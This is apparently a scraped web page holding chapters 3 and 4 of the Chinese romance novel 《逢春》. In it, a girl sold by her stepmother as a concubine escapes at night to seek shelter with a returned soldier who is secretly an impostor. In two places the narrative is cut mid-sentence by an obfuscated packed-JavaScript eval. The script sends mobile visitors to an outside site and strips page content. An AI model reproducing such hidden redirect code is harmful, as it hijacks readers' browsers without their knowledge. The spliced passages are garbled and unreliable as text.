《逢春》 3. 第 3 章 本就心虚的张氏像是被人踩了痛脚,嗓门尖刻,“老娘这是把你送去享福!谁不知那赵员外是咱们平江县最有——” “既然如此,”逢春冷冷打断她,将眸光投向灶屋门口,嘴角沾了些许鸡蛋羹的琴姐儿,那句“你怎么不把你亲生的亲闺女送去享福”到了嘴边,最终还是咽了回去,“要去,你自己去!” 张氏这么多年来苛待逢春,要说逢春心里完全没有恨,自然是假的。 可这世上又有几个继母能够善待自己的继子女呢? 住在村西头的翠翠,四五岁时也没了阿娘,她阿耶不到三个月就续了弦。 那个继母成日里打骂翠翠,且还都是当着翠翠阿耶的面。 翠翠阿耶不吭声,一味地蹲在院子里大树下抽旱烟,等翠翠挨完打后,才敢进屋去。 翠翠事后还要拖着受伤的身体洗全家的衣裳。 翠翠跟她关系好,有好几回被打得受不了,等继母睡下后,抹黑偷偷往她家里跑,脱了衣裳给她看自己身上的伤。 白嫩嫩的皮肉到处都是青一块紫一块的伤痕,有指甲掐的,有哪笤帚抽的,还有拿棍子打的,看得她心惊胆寒,心疼得直哭鼻子。 这还都是逢春亲眼见到的,至于从旁人口中听到的,继母打死继子女的都有。 逢春每次觉得熬不下去的时候,就拿张氏和那些人做比较。 至少张氏没动手。 人就是这样,当无力反抗时,总喜欢从旁人身上寻找慰藉,看见旁人比自己惨,日子好像也不是不能过。 只要再熬一熬,熬到成婚就好了。 如翠翠那般,被打骂了近十年,去年年底终于与打小就订婚的远方表哥成了婚。 虽然当时成婚时因为她继母狮子大开口,两家闹得很不好看,但婚后与表哥过得极好。整个人容光焕发,与从前唯唯诺诺不敢抬头看人的干瘦模样判若两人。 前几日翠翠回娘家,私底下红着脸和她说,表哥待她极好,什么都舍不得让她做。 逢春羡慕坏了,以为自己将来婚后,也会像翠翠一样,把日子过得很好很好的。 可万万没想到,张氏竟然趁阿耶不在,将她卖给比她阿耶还要大的赵员外。 张氏这是逼她去死! 这还是逢春这么多年头一回顶撞张氏。 张氏一时没反应过来,等到想要发作时,逢春已经朝南边去了。 张氏自然知晓她去做什么,冷笑一声,“想要做官夫人,也要看自己有没有那个命!” * 云溪村不算大,加起来也就一百来户人家。 逢春幼时她有两个玩伴,一个是陆攸,一个便是陆时。 陆攸离开村子后,就只有陆时和她一起玩。 陆时年少聪慧,云秀才觉得他将来必成大器,不仅不收束脩,还把自己的藏书都借给他。 而逢春自幼便乖巧可人,陆时的寡母也非常喜欢她,私底下和陈氏提过定娃娃亲。 虽说只是口头协议,但陆时考上秀才后的第一件事便是向逢春表明了自己的心意。 陆时不仅学问好,模样好,性情也温文尔雅,逢春没有理由不喜欢他,当场便含羞带怯地应下了。 这事儿虽然没有放在明面上说,可整个云溪村的人都知晓他俩的事儿。 当时得知消息的翠翠又是羡慕,又是嫉妒,说陆时将来能够做大官,逢春便是官夫人。 其实逢春心里并不在意陆时能否当官。阿娘在世时就常说,伴君如伴虎,平平淡淡未必不是福。 但她心里也明白,这个小村子困不住像陆时哥哥那样的人。她原本还想就算陆时哥哥今年不能如期赶回来,她也会一直等他。 可眼下却等不及了! 她要去找陆大娘,请陆大娘赶紧去她家里提亲,先把亲事先定下来,然后再叫人去通知镇上的阿耶。 至于女儿家的脸面也顾不得了。 今日虽是晴天,但积雪深厚,逢春深一脚浅一脚赶到陆家院门时,膝盖以下全部都湿透了,冷得直哆嗦。 她定了定心神,抬手敲门。 敲了许久都没有人应。 院里冷寂得可怕。 陆大娘身子骨不好,一入冬就咳嗽,所以入冬后几乎不出门。 会去哪儿了呢? 逢春正愣神,隔壁的邻居突然从院子里探出一个妇人的头。 是郑大娘。 逢春像是见到救星一般,顾不上寒暄,“陆大娘去哪儿了?” 郑大娘道:“她昨日被侄子接走,说是打算去省城跟儿子享福,不回来了……” 逢春闻言,脑子嗡嗡作响。 不回来是什么意思?前两天她来给陆大娘送止咳草药时,陆大娘并未和她提及此事。 她呆呆地望向那扇紧闭的大门,直到确定那扇门再也不会打开,方失魂落魄地离去。 郑大娘叹了一口气,“造孽啊!” * 冬季天短夜长,村里人晚饭吃得格外早。 逢春回家时,琴姐儿正在收拾碗筷。显然,她们两母女已经吃过晚饭。 一见她回来,张氏讥讽,“呦,不留在你的秀才夫君家里过夜啊?” 这话极尽羞辱,逢春闻言,猛然抬起头来。 她在外头奔走半天,一张雪白小脸冻得铁青,黑白分明的杏眼里布满红血丝,像一只被惹毛的小猫,随时要抬爪子挠人。 张氏到底心虚,虚张声势,“是你自己不知羞往人家家里跑,瞪我做什么!” 逢春没有搭理她,转身去灶屋打了热水。 回屋后,她关上门,脱下湿了半截的棉裤,刚把冻得没有知觉的脚搁进热水里,就听到外头传来“卡擦”一声。 逢春惊惧之下,鞋子都来不及穿,赤脚下地拉门。 门从外面上了锁。 张氏得意洋洋:“赵员外后日来接人,这两天你老老实实待在屋里!” 逢春快急哭了:“我阿耶不会同意的!你,你放我出来!” 张氏根本不理会她的叫喊,又累又饿的逢春很快没了力气,抱膝坐在门边,把冰凉的脸颊埋进双膝之间。 陆大娘要去省城,为何不同她说一声? 明明陆大娘很喜欢她。她每回去陆家,陆大娘都拉着她的手不放,还叫陆时赶紧将她娶回去。 为什么会变成这样呢? 还不到十六的少女无论如何都想不通。 屋子里的光线一寸寸地黯淡下去,她的肚子咕噜咕噜直叫唤。不知过了多久,外面传来脚步声。 一个窝窝头从门缝里塞了进来。 逢春一把抓住那只胖乎乎的温暖的手,如同找到救星一般,哀求 ,“琴姐儿,看在咱们一块长大的份上,你帮我开开门好不好?” 琴姐儿沉默了好一会儿,说:“钥匙在阿娘脖子上,我不敢。” 逢春又道:“那你帮我给翠翠带个口信,叫她去镇上通知阿耶。” 琴姐儿:“阿娘说阿耶今日随东家去省城,没俩月回不来。” 逢春听了这话,整个人瘫软在地上。 怪不得张氏敢明目张胆卖了她! 此刻只怕阿耶已在去省城的路上,等他回来生米煮成熟饭,便是恼恨也来不及。 从前她只觉得张氏心思有些坏,如今看来,简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668764|188592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是阴毒。 不,她不能就这样坐以待毙! 逢春环顾周围,眸光定格在床头被风吹得呜呜作响的窗户上。 那扇窗早坏了。 阿耶一直都没空修,张氏更不可能花钱替她修。 逢春上前摇了摇窗户,没几下窗子就摇摇欲坠。 逢春精神为之一振。她可以从窗子里逃出去。只是逃出去后能去哪儿? 阿耶是个秀才,为人有些清高,和亲戚们来往的并不多。且张氏是出了名的泼妇,也没有哪家亲戚敢收留她。 阿娘就更不用说,逃荒到这儿的,压根没有娘家人。 逢春不知怎的想到今早遇见的陆攸。 张氏非常害怕陆攸。 那是陆攸刚回来没几日的事。 起因是张氏欺负陆大娘看不见,某一日的早晨,她想要吃萝卜丸子,于是跑去将陆攸家菜地里的萝卜全拔走了。 晌午吃饭时,张氏还洋洋得意地说陆大娘坐在地里哭得如何伤心。 逢春当时听了心里很难受,饭后趁张氏出去串门,偷偷地将萝卜还回去。 次日晌午,张氏发现藏在地窖里的萝卜不见了,正骂她,陆攸找来了。 当着张氏的面,身高近九尺的男人一刀将张氏专门给儿子养来喝奶的母羊给宰了。 开膛破肚,血淋淋的肠子流了一地,被溅了一身血的张氏当场瘫软在地。 陆攸一边擦拭他那把寒光逼人的刀,一边慢条斯理地说,若是以后菜地里少了一根草,都拿她是问。说这话时,阴沉的眸光若有似无地扫过张氏怀里的宝贝儿子。 张氏吓得忙不迭应“是”,直到陆攸离开,她都没能从地上爬起来。 打那以后,张氏每回经过陆攸家的菜园子,只要看到里面进了活物都会帮忙驱赶,生怕少了一根草,陆攸会来找她算账。 小时候,陆攸常说会保护自己一辈子。而陆大娘心地又很善良。也许,她可以去陆攸家里躲些日子,等阿耶回来再做打算。 虽然她一个未嫁的姑娘住在无亲无故的男人家里不好,可再怎样也比给赵员外做妾强! 想到这儿,逢春走到床边打开箱笼,将里头的衣裳全部拿出来放在床上。 箱笼的最底层是一个用胭脂色丝绸的包裹。 逢春拿出来,小心翼翼地解开,露出一本泛黄的医书。 阿娘临走前将这本医书交到她手里,说这本书是比她的命还重要的东西。若将来她的娘家人来找来,一定要将这本医书交给他们。 “阿宝,一定要同他们说,就说娘这辈子并未辜负他们所托!”说完这句话,阿娘就咽了气。 如今望着母亲的遗物,得知自己被卖都没有哭的逢春泪水夺眶而出。 这世上唯一将她当宝的人不在了。 她再也不是“阿宝”。 不过这会儿还不是哭的时候。 她忙抹干净眼泪,把医书重新包好,收拾几件衣物,静待天黑。 直到外面也没了动静,她小心翼翼地把窗户卸下来,弯腰爬了出来。 一只脚刚落地,阿黄咬住她的裤腿。 她“嘘”了一声,弯腰将阿黄抱在怀里,偷偷出了家门。 农村人为了省些蜡烛钱,都睡得很早,云溪村就像一只睡着的大老鼠。 提心吊胆的逢春一路小跑,奔向鼠尾。幸好今夜月光清亮,又有积雪映照,狭长的小路依稀可见。 等到她在陆攸院门口停下脚步时,后背早已被冷汗濡湿。 门缝里,透出一一缕微弱的光线。 陆家的人,还没睡。 逢春的心,再次提了起来。 4. 第 4 章 一盏孤灯坐落在红木桌上。 坐在桌前的男人漫不经心地把玩手里的匕首,一汪莹润的绿光在灯下流转。 那是一枚价值连城的玉扳指,与这间简陋的屋子格格不入。 站在他对面头发斑花白的的妇人浑浊的眼珠子上布满白班,她看不见他。 妇人五年前就瞎了,哪怕白天,也只能瞧见一些模糊的影子。 她的丈夫十年前被一场风寒夺走了命,她差点哭掉半条命,眼睛就在那时落下了病根。 后来她的儿子在某一天外出求学的时候,再也没有回来。街坊们告诉她,因为她儿子长得高,看起来有十五六岁,被当街拉了壮丁,连和家人告别的机会都没有。 丈夫死了,儿子就这样不见了,她没日没夜地哭,把一双眼睛都哭瞎了。 好在老天爷可怜她,在她一条腿都已经伸进棺材时,又把儿子还给了她。 不仅如此,儿子还为国家立下大功,被圣人封了一个五品上骑都尉,也算为陆家光宗耀祖。 她那早死的亡夫泉下有知,也该瞑目了。 当然,她不在意这些虚名,儿子能够平安地归家,比什么都强。 一切都很好,就是儿子和小时候脾气不太一样,变得沉静,寡言,即便开口,也是地道流利的官话,待她也客客气气的。 不过两母子十年未见,生疏了也正常。出门在外的,说家乡话别人哪能听懂。 唯一不变的是儿子还和从前一样孝顺,一回来又是给她建新房子,又要带她去帝都享福。 她都这个年纪,建再大的屋子又能住几天,不如让他留钱在身边,将来好在帝都买房娶妻。再加上她眼睛又看不见,去了也是拖累儿子。 可如今儿子要走,她又万分舍不得。不过她也明白,儿子如今在军中有正经的官职,总不能常年地陪她一个老婆子窝在家里。 她活到这把岁数也知足了,唯一遗憾的还没能亲眼瞧见儿子娶媳妇。 思及此,她不由地叹了一口气,“多好的孩子,她小时候最喜欢你!只可惜你回来太晚,她许给了陆时。” 她说的是逢春。 那是一个心底极善良,人也生得漂亮乖巧的女孩子。 村里的人嫌弃她是个瞎子,还啰嗦得很,不大和她来往。唯有那孩子时常来瞧她,听她老婆子唠叨废话,帮她干一些家务活。 “陆时你还记得吧,小时候常和你一块玩,也是个极好的孩子,十七岁考上秀才,就连县太爷都赞他有大才,兴许明年中举人也不一定。” “对她也好,就是他那个寡母心眼多得很,也不知道将来她嫁过去,会不会受欺负……” 这些话,这半年来她已经不知絮叨了多少回。 男人垂眸不语,手里的匕首却越转越快,也不知在想些什么。 “攸儿?”她轻轻唤了一声。 无人回应。 儿子自从回来后总是这样,每次唤他,他都好像听不见似的。 她只好又提高声音唤了一句,“今夜非走不可吗?” 男人终于有所回应,嗓音低沉地“嗯”了一声:“明日一早会有人过来服侍您,刘医师也会定期来给您医治眼睛。” “阿娘一个人能行,不要人服侍,”她摸摸索索地去抓他的手,微微湿了眼眶,“阿娘就是舍不得你!” 不习惯与人接触的男人想要收回手,最终忍住了,任由那只长满老人斑,干枯却又温暖的手握住了自己的手指。 “要不您还是和我一起走吧,我在省城认识更好的医师,一定能治好您的眼睛。” “阿娘就不去了,阿娘要是走了,你阿耶一个人会害怕。你阿耶那个人看着人高马大,其实胆小得很,怕黑。” 她说的“阿耶”,是屋子后头那座孤零零的坟。 萧野不大理解这种情感,人都没了,还死守在这儿有何意义。当然也不会问。就像他永远也不会告诉妇人,她的儿子如今也埋在那座孤坟旁边。 享年二十。 时辰已经不早了,他站起身,“我去省城办些事,过些日子就回来。” 妇人没想到他那么急,“攸儿你等等,阿娘还有东西给你!” 她拄拐棍走到墙角的一口大箱子里,在里头摸索了好一会儿,摸出了一个旧蓝布包裹。 她动作熟练地解开包袱。 是两双崭新的布鞋,鞋子很小,比他的手掌相差无几。 鞋子下面是一套料子有些粗糙,但阵脚细密的月白色圆领衣袍。 “外面的鞋卖得再好,也没有亲娘纳的鞋子舒服,男人走四方,一双好鞋很要紧,也不会让人瞧不起……” 妇人说着说着,嗓子哽住,又赶紧拿袖子拭了拭眼角,把包裹递给他:“办完事儿早些回来,阿娘在家等你。” 萧野沉默了好一会儿,还是伸手接过来。 “天黑,别送了。”他丢下句话,低头出了屋子。 拴在梨树下的枣红色高头大马一见主人出来,兴奋地用蹄子刨地,打破了寂静的夜。 萧野把包裹随手侧挂在马鞍上,动作利落地翻身上马。 * 一轮弯月孤零零地悬挂在树梢。 逢春抱着小黄,在陆攸家院门外徘徊。 她刚才跑得太急,出了一身的汗,此刻寒风一吹,冷得浑身直打颤,只想找个温暖的屋子避一避风,吃一口热乎的暖暖胃,好饿。 可她想到那个眼神陌生的陆攸,一时之间不敢上前敲门。 她本就怕他,更何况还是揣那样的目的。 他们两母子会不会嫌她这个人一点儿都不知羞? 陆大娘应该不会,她一向最喜欢她。可陆攸就不一定了,万一—— 算了,不管了! 就算被嫌弃,她也得试一试! 她定了定心神,上前一步,抬手刚要敲门,院门突然开了,一匹高头大马赫然映入眼帘。 怀里的小黄立刻昂头站了起来,冲着那匹马吠叫不止。 马儿嘶鸣一声,打了个响鼻,显然被激怒。一时之间,整条村子的狗都吠叫起来,那声音让逢春慌乱不已。 “阿黄乖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668765|188592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”逢春手忙脚乱地抱紧阿黄,看向马背上一身黑衣,皮肤过分冷白,眉眼英气逼人的年轻男人,结结巴巴叫了一声“陆攸哥哥好”。 萧野一眼就认出她来。 正是妇人口中那个心底善良,长相漂亮乖巧的姑娘,亦是好友心仪之人。 今早,他还见过她。 像是害怕极了,怀抱小狗的小姑娘小心翼翼询问:“我能不能暂借几日,我什么都会干,吃的也少……” 萧野没作声。 那对亮晶晶的眼眸逐渐黯淡下来。 片刻后,她又抬起头,“我,我后娘他要把我卖给赵员外做妾。陆攸哥哥听说过赵员外家的事儿吧,那个大坏蛋害死了很多姑娘。我,我阿耶他去了省城,一时半会儿回不来,我——”有些语无伦次的少女住了口,澄澈的眸光落在挂在马鞍的行囊上,迟疑了好一会儿:“陆攸哥哥这是要出门?” 萧野仍是不语,居高临下地打量她。 那眼神看得人不知所措,逢春手脚都不知道往哪儿放。 她有些后悔了。 是她太莽撞了! 小时候的话怎么能够当真呢。 他一定觉得她不知检点,一个姑娘家大半夜往男人家里跑。 她想要解释她不是那种人,她只是没法子了,她不知道该怎么办。 她还有些想哭。 她赶在眼泪掉下来前,赶紧拿手背揉揉眼睛,正要告辞,马背上的男人勾起嘴角,神情懒散:“我哪儿也不去。” 逢春一时怔住。 他突然翻身下马,两双船似的皮靴平稳落地。 逢春不自觉地后退一步,谁知他一把抓住她的手腕,没有防备的逢春撞到他怀里。 一股子极淡的冷香扑鼻而来。 她怯怯地抬起眼睫,对上一截洁白冷硬的下颏。 她知道他高,却不知道他竟这样高,自己在女人堆里不算矮,却才勉强到他心口。 仿佛只要他轻轻一提,就能轻而易举地将她举起来。 “小妹妹,你又怎知我不是坏人?” 他语气有些轻佻,与幼时那个总是温柔唤她“小春”的少年判若两人。 逢春的心里像是藏了一百只小兔子,正疯狂地跳来跳去,跳得她心都疼了。 “我,我知道陆攸哥哥不是!”她想要抽回手腕,却被他牢牢捉住不放。 他的手很大,掌心火热而粗粝,热度顺着她的手指一路传到脸上,直烧的她面颊滚烫,呼吸也跟着灼热起来。 除却自己的阿耶和弟弟,逢春长大后唯一接触的男子就是陆时。 也许是常年与笔墨打交道,陆时哥哥身上总带有淡淡的墨香,掌心也只有常年执笔的位置生了薄薄的茧子。 两人一起去看灯会的时候,陆时哥哥也会借着袖子掩映,悄悄地握住她的手指。 但动作很轻,从不会这样粗暴,更不会像眼前的男人这般,气势凛冽得就像是一把锋利的刀,几乎压得她喘不过气来。 逢春吓哭了。 他现在,怎变得这样坏!